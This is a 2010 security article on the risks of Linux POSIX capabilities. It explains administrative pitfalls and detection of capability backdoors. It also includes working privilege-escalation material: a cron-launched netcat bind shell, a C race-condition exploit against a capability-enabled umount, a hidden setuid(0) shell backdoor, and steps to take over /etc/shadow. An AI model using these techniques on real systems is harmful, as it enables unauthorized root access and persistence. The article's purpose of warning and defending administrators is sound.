# Exploiting capabilities

## Parcel root power, the dark side of capabilities

**Date of writing :** 14/05/2010
**Author :** Emeric Nasi – emeric.nasi@sevagas.com
**Note :** In order to understand this document it is strongly recommended you already know about POSIX capabilities, if not, read http://www.friedhoff.org/posixfilecaps.html
Also the author suppose the reader have a good base about GNU Linux and security.


## Introduction

Since kernel 2.6.25 Linux, capabilities processing is made easier. With the event of file capabilities combine with libcap2-bin tools (*capsh*, *getpcaps*, *getcap*, *setcap*), one can now reduce the exposure of superuser almighty power to hackers.
Some of the major Linux distributions such as Fedora are starting to use capabilities and have libcap2-bin tools enabled by default.
These tools can be use to improve security in these way

- Turn a setuid-root file into a file with minimum privileges
- Run a service/daemon with uid other than 0 and minimum privileges
- Run a service/daemon with uid=0 but with the minimum superuser privileges
- Configure files so they can be accessed only by an admin or a process with the right privileges, and cannot be accessed by anyone else even unprivileged root.
- Configure a file so that it does not have to be run by root to work properly.

However one must not be fooled by all this. Capabilities have some drawbacks.
I will first explain why capabilities can be dangerous.
Then I will show ways to circumvent capabilities and still hack system.
After that we will see how capabilities can be exploited by an attacker and thus generate more vulnerabilities

NB. Capabilities implies that superuser is not necessarily synonymous to root (uid=0). You can run a process as root that has no capabilities at all and vice-versa. That is why, when talking about superuser, I will rather use the term « superuser » than « root ».

# I. Capabilities dangers

So what is that « dark side »?

In fact, most of the danger from capabilities comes from the fact that they are « new ».
Process capabilities have a few years behind them, but file capabilities don't. Most of the people, system administrators and even security pros, never heard about them. But they are enabled by default in all modern Linux boxes.

This « new » brings a bunch of problems

### 1. Knowledge problems

Like I said, the great majority of Linux users don't have a clue about what are capabilities.
They are enabled on all modern Linux systems. On some distributions you even have the tools to manage these capabilities, and most users don’t use them.
How about the guy who is trying to hack into your system? Maybe he knows about capabilities!
And he may know how to exploit them against you.
Yes capabilities are great but:

- There is no common policy about capabilities upon Linux distributions. Some use them, some don't.
- A majority of programs are not written to use capabilities. When using lower capabilities to launch a process, how do you know it will really act like you want it to?
- It is difficult to learn about capabilities and hard to find documentation about libcap2-bin tools.
- Most major distributions package managers do not support file capabilities. File capabilities are set on inodes, if you package-update a file, it will be removed and replace by the new one. So that means a new inode; with no file capabilities.

### 2. Stability problems

File capabilities are not really compatible with usual administration.
I already showed they are not compatible with package managers.
But as a simple matter, let’s try to copy a file with capabilities.

```
$ setcap cap_net_raw=ep /bin/ping
$ getcap /bin/ping
/bin/ping = cap_net_raw+ep
$ cp /bin/ping /tmp
$ getcap /tmp/ping
→ No capabilities
```

And that happens every time you do not use the same inode (move, archive, copy etc)
In the previous example here is a way to do what we wanted

```
$ cp --preserve=all /bin/ping /tmp
```

```
$ getcap /tmp/ping
/tmp/ping = cap_net_raw+ep
```
http://www.friedhoff.org/posixfilecaps.htm gives a lot more information about file-system operations.

What I am trying to point out is that it is really easy to lose file capabilities thus bugging your system. If it is just ping, OK, it is not a disaster if non root users can't use it for a (small) moment. But if it is an important daemon such as apache or dhcpd you are into much more troubles.

### 3. Complexity problems

The other danger is that capabilities are complex to apprehend and to use.
When we talk about security, we do not speak only about « how difficult it is to hack the box ».
Your system has to be stable, reliable and with minimum (or no) failures.
I would add that a secure system is a system that is easy to manage. That is because the more work you have to administrate your box, the more likely you are to make a mistake (and you can also get lazy or start to « forget » things...).
Doing your capabilities hack on your computer is one thing, but when you have to manage 200 boxes and a dozen of servers, it can turn to a nightmare unless you have automated tools and procedures that are capability aware. There are neither standard tools nor procedure yet, so you would have to create it all by yourself, picking ideas and scripts here and there, and spending a long time to test everything.

### 4. « Too much » problems

Capabilities can be use to improve your security but they are not panacea.
When you learn about capabilities, you may be tempted to rely too much on them, forgetting about other security procedures, and making mistakes.
I agree it would be nice to have zero super-user daemons and zero setuid bits programs. But think about all implications before doing so.
For setuid programs for example, giving CAP_NET_RAW capabilities to *ping* in order to remove his setuid is logical. A buffer overflow attack on it would lead only to the possibility to craft raw packets.
But what about other programs such as *chsh* or *mount*?
The capabilities they require to run are so high that setting them is not really worth it.

A hacker exploiting limited but strong capabilities is a possibility that mustn’t be ignored and is the subject of the next sections.

# II. Bypass capability limitations

I want to highlight something trivial. « *Capabilities are parcels of superuser* ». This sentence implies two things:

- « parcels » → Superuser power can be lowered. Processes can have more granular powers, it is not just « nothing or everything »
- « superuser » → Even if they are just parcel of supersuser, remember they **are** superuser powers. This fact should be heavily considered before attempting to set capabilities everywhere.

You may say « ok, but at least this program doesn't run as root ». Yes. But what is the point when it runs with CAP_DAC_OVERRIDE capabilities? A successful attack could lead to data stealing, password forging and complete corruption of the system.
(CAP_DAC_OVERRIDE allows a user to bypass all read, write and execution checks on the system)
CAP_SETUID, CAP_SYS_ADMN, CAP_FOWNER and CAP_CHOWN are really too powerfull to.
Even the CAP_DAC_READ_SEARCH (read any file and list/browse and directory) which is less powerful can allow data and password stealing.

## 1. Bypass some root non superuser process limitations

Imagine you corrupted a process or a file that runs as root but without any capabilities.
Here is a way to simulate that:

```
root$ getpcaps $$
Capabilities for `xxxx': =ep → You have superuser powers
root$ capsh --secbits=15
--drop=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin --
root$ getpcaps $$
Capabilities for `xxxx': = → no more powers
root$ capsh --print
Current: =
Bounding set =
Securebits: 017/0xf
 secure-noroot: yes (locked)
 secure-no-suid-fixup: yes (locked)
 secure-keep-caps: no (unlocked)
uid=0
```

Nb. setbits=15 because 15 is 001111, we just set the first four bits to one (secure-noroot yes, secure-noroot locked, secure-no-suid-fixup yes, secure-no-suid-fixup locked).

Now we have a root user which has no effective capabilities and no capabilities in the bounding set. And the secbits ensure this cannot be changed. This user cannot use *sudo*, *mount*, *chage*, *ping* or read into other users file without the 'read' permissions.
In Fedora12 Linux distrib, some root daemons are run with lower capabilities and to prevent them to read or modify passwords, fedora sets /etc/shadow rights to 0000.
It can be easily bypassed, because root is still the owner of /etc/shadow (and most system files), so even if there are some restrictions, he just has to *chmod* on the file and he can read and modify it. That situation is always true when the process is run by root.
That means that, unless you change their owner, all system files can be read and modified by root.

## 2. Root non superuser privilege escalation

So can we get more? The answer is yes.
Our process doesn't have any capabilities, so, but there are others that do. Like *cron* or *atd.*
Because we are root, we own crontabs and we can use cron to run any script we write with his superuser powers.
A simple example:
Create a script called escalate containing:

```
#!/bin/bash
while [ 1 = 1 ]
do
      nc -l -p 4007 -c /bin/bash 2>&1
done
```

Then ...

```
root$ cp escalate /etc/cron.hourly/
root$ chmod u+x /etc/cron.hourly/escalate
```

After that, modify the file /etc/crontab so that cron.hourly scripts will be run one minute later.
Wait one minute then :

```
root$ netstat -tupl
→ tcp   0  0 *:4007   *:*  LISTEN  root   xxxxx   xxx/nc
root$ nc localhost 4007
→ You just gained a superuser shell
```

There are probably a lot of other ways to use a superuser daemon to escalate privileges.
What can we do to protect against it?
Running *cron* without superuser privilege seems impossible (or requires knowledge I do not have and to rethink all the system).
You can always try a few things:

- Change cron files  owner
- Chroot the unprivileged root process
- Change all system files owner (but what about setuid files like sudo and su?)
- Instead, run all daemons as non-root user

Even doing that, there are other ways root can escalate privilege, for example, he can write an Init daemon and use Init to control it.
In fact, even simple non-root user can escalate privileges, if they exploit file capabilities.

NB. In the next parts, I will assume that you are a non-root user (luser) and you succeeded in exploiting a vulnerability in a file with capabilities.

### 3. Exploit CAP_SETUID file capability

If you are a simple user exploiting a file with capabilities, you probably have a bounding set full. That means, if a file has effective and permitted capabilities , you can use them.
If the file can be exploited (buffer overflow for example), escalating privilege with CAP_SETUID is trivial. Just make it run the setuid(0) call before you run a shell.
What is great is you will not only become root but also gain all superuser capabilities.
That is because of the way capabilities are implemented by default. If a uid > 0 changes to 0, it gives the process all capabilities.

### 4. Exploit CAP_CHOWN file capability

If you exploit a file which has ownership capability
**a)** You can manage to own system files like /etc/cron.hourly. After that you can put any script you want inside it.
Change /etc/crontab ownership so it belongs to you. Write when you want to execute your scripts.
After that change ownership back to root.
(It is a replay of the privilege escalation explained in 2).
**b)** More brutal : change /etc/passwd and /etc/shadow ownership to your user, then do whatever you want (read hashes, set empty root password, etc).

### 5. Exploit CAP_DAC_OVERRIDE file capability

Because CAP_DAC_OVERRIDE allows you to read, write and execute all system files,
it is easy to replay the privilege escalation techniques described in previous parts. The easiest way being changing the root password and calling *sudo -i* or *su* to gain a supersuser root shell.

### 6. Exploit CAP_FOWNER file capability

This capability allows to gain on all files the privileges that only file owners normally have (chmod(), utime(),chattr(), etc).
If you can *chmod* any system files, then you can write into any system files. And thus steal data, modify files and escalate privilege.

### 7. About CAP_SYS_MODULE capability

If any user can load what he wants into the kernel, then your security level falls to zero. Remember that a lot of rootkit are loadable kernel modules, you don't want to allow anyone to use these on your system.

## 8. About CAP_SYS_ADMIN capability

This capability groups a set of features, (mount(), swapon(), sethostnam(), etc)
I am not sure it can lead to escalating privileges but the damage that could be done to your system are so high you should consider a file with this capability like a file with the setuid(0).

All the previous files capability should be use with caution. A file using at least one of them should be as secure as a setuid-root file. I recommend, these capabilities should never be used unless you are really sure it is worth it.

So we can exploit some capabilities. Then you might say, “After all, it is always better then having a setuid0 program with the full supersuser power”. In the next section I will show that, because of the way these setuid0 programs were conceived, this assertion if false. In fact, not running them as root can be a security gap.

# III. When capability generates vulnerability

## 1. Exploit file with capabilities

As you read in chapter one, giving capabilities to an executable to make him non-setuid is not a miracle solution.
It can even create more problems.

Here is a practical example:
*mount* and *umount* commands are a typical example of tools which require high capabilities to run as non-setuid. However, here we are not going to exploit these capabilities.
The setuid bit in these tools allows a simple user to mount and umount a filesystem if /etc/fstab has the « user » options on the corresponding line.
It is generally used for cdroms, example from an imaginary /etc/fstab:
/dev/cdrom  /media/cdrom0 iso9660  ro,**user**,noauto,exec

Steps to remove setuid 0 from *mount* and *umount*

```
# mount  needs CAP_DAC_OVERRIDE to write info /etc/mtab
# mount needs CAP_SYS_ADMIN to use mount() call
$ setcap cap_dac_override,cap_sys_admin=ep /bin/mount
$ chmod u-s /bin/mount
# umount needs CAP_DAC_OVERRIDE to write into /etc/mtab and /etc
# umount need CAP_SYS_ADMIN to use umount() call
# umount needs CAP_CHOWN to change /etc/mtab.tmp owner
$ setcap cap_dac_override,cap_sys_admin,cap_chown=ep /bin/umount
$ chmod u-s /bin/umount
```

What is that /etc/mtab.tmp?
Umount uses /etc/mtab to keep record of what is mounted on the system.
When tracing umount system calls you can see :

```
open("/etc/mtab.tmp", O_WRONLY|O_CREAT|O_TRUNC|O_LARGEFILE, 0666) = 4
...
fchown32(4, 0, 0)                       = 0
...
rename("/etc/mtab.tmp", "/etc/mtab")    = 0
```

/etc/mtab.tmp is used to recreate the /etc/mtab file without the line concerning the unmounted filesystem.
But because the process is not run as setuid, the owner of that file is not 0.
The call to *fchown* gives file ownership to root.
But between the open() and the fchown() call, there is a race condition that can be used by the unprivileged user.

A way to exploit this:
(Everything must be done as unprivileged user)
Create file called umount.exploit.c and copy next code:

```
#include <unistd.h>
#include <fcntl.h>
main()
{
  while (1==1)
  {
      int desc=open("/etc/mtab.tmp", O_RDWR | O_FSYNC);
      if (desc!=-1)
      {
         write(desc, "mtab corruption\n", 16);
         close(desc);
         printf("done!!\n");
         exit(0);
      }
  }
  return 0;
}
```

Then compile
```
$ gcc umount.exploit.c -o umount.exploit
```
Run the file
```
$ ./umount.exploit
```

In another Terminal still as unprivileged user :
```
$ mount /media/cdrom0
```
Open /etc/mtab
→ /media/cdrom0 line is added to /etc/mtab

```
$ nice --adjustment=19 umount /media/cdrom0
```

Verify if exploit has worked (mount.exploit → done!!)
Now open /etc/mtab
→ /media/cdrom0 is removed from /etc/mtab
→ **The /etc/mtab file starts with the text « mtab corruption »**
Note I used 'nice' to give umount.exploit more chances to « win the race » against umount.

We just wrote arbitrary text to /etc/mtab, but we could have done much more because the /etc/mtab.tmp file is owned by current user.
Note you can apply this kind of exploit on other tools like *chage*, *chsn* or *passwd*, and thus read and write inside /etc/passwd and/or /etc/shadow (via /etc/shadow+, /etc/nshadow and other temp files).
I must also be noticed that the process itself belongs also to the current user which means he has access to informations in the /proc filesystem he wouldn't have if the process was running as root

In these case, running the program without setuid leads to **more vulnerabilities**.
Remember these old setuid programs are hardened by years of hacking attempts and security rewriting. But if you remove setuid and set capabilities who knows what will happen?

## 2. Use capabilities to create a backdoor

After a hacker has got enough privileges (superuser, big capabilities, etc), he will attempt to install a backdoor to allow him to regain superuser privileges whenever he wants.
There is a lot of monitoring and forensic softwares which are able to detect rootkits, trojans, verify file permissions, etc.
But how many check files capabilities?
Imagine the case where the attacker is one of the local users. After he escalates privileges what is the easiest way to ensure he could do the same at leisure?

As root:
Create file called backdoor.c in normal user home folder

```
#include <unistd.h>
#include <fcntl.h>
main()
{
   setuid(0);
   char *name[2];
   name[0] = "/bin/sh";
   name[1] = 0x0;
   execve(name[0], name, 0x0);
   return 0;
}
```

```
root$ gcc backdoor.c -o .b
root$ chown luser:luser .b
root$ chmod 750 .b
root$ setcap cap_setuid=ep .b →  That does the trick!
root$ exit
→ $
$ ls -l .b
-rwxr-x--- 1 luser luser → No admin will notice this file
```

Now when the local hacker wants to be root again:

```
$ ./.b
→ #
# id -u
0 → I  am root!!!
# capsh --print
Current: =ep
Bounding set
=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin
Securebits: 00/0x0
 secure-noroot: no (unlocked)
```

```
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0
```

The user is now root and has all superuser's capabilities enabled!
The .b file could have been named anything, even the name of a normal user file.
That is a way a hacker could exploit a knowledge he has about capabilities against admins and all kind of security tools which just doesn't check for capabilities.

Note : I added functionalities to my filesystem scanner script, *Glyptodon*, to check for capabilities on all system files (option -c or –capabilities-scan).
You can find *Glyptodon* at http://www.sevagas.com/?-Glyptodon-

### 3. How to avoid these problems

It is quit easy to find a file-capability backdoor. Here is the command I use to list all the capable files on my system :

```
find / -type f -print0 2>/dev/null  |  xargs -0 getcap   2>/dev/null
```

Note : I use find because the getcap -r recursive options seems to be buggy and never worked correctly on each system I tested it on.
You can also use my script *Glyptodon* that scan various risks linked to file capabilities, or make up your own one.

Concerning converting setuid files dangers, there are no easy solutions for that. Some of them are safe (or looks safe), and some aren't. These binaries were conceived to run as setuid0. It is difficult to predict how they will react. I think that concerning important admin binaries like *su*, *sudo*, *passwd*, *chfn*, *chsh*, *chage*, *mount*, *umount*, … you should wait till files capabilities become more common and  developers adapt these binaries consequently.

# Conclusion

Capabilities have a great future in system hardening. However, the fact that they are new and that very few people know about it brings a lot of issues.
Linux community should work on standard ways of working with capabilities and create more tools to handle it. Capabilities and tools need also a lot more documentation to allow everyone to understand how the system works and what to do or not to secure it.
To have stable file capabilities we need also a new way to manage packages and to administrate system.
It is important to keep in mind these capabilities are superuser powers and have to be considered carefully (like setuid root programs).
To be successful, a security policy which uses capabilities must combined them with other restriction systems (DAC, MAC, etc) and other hardening layers.
The future will show if Linux community and major distribs manage to make up a common approach to capabilities. That will avoid the admin nightmare of managing capabilities on a network that has RedHat and Debian servers, plus OpenSUSE and Ubuntu stations all of them using completely different capability and file capabilities implementation...

## References


Proceedings of the Linux Symposiom - Linux Capabilities: making them work ,by Serge E. Hallyn and Andrew G. Morgan, july 2008

POSIX Capabilities & File POSIX Capabilities, by Chris Friedhoff, 2008, available at http://www.friedhoff.org/posixfilecaps.html

POSIX file capabilities: Parceling the power of root, by Serge E. Hallyn

http://fedoraproject.org/wiki/Features/LowerProcessCapabilities

http://tuxce.selfip.org/

http://www.sevagas.com/?-Glyptodon-

capabilities man page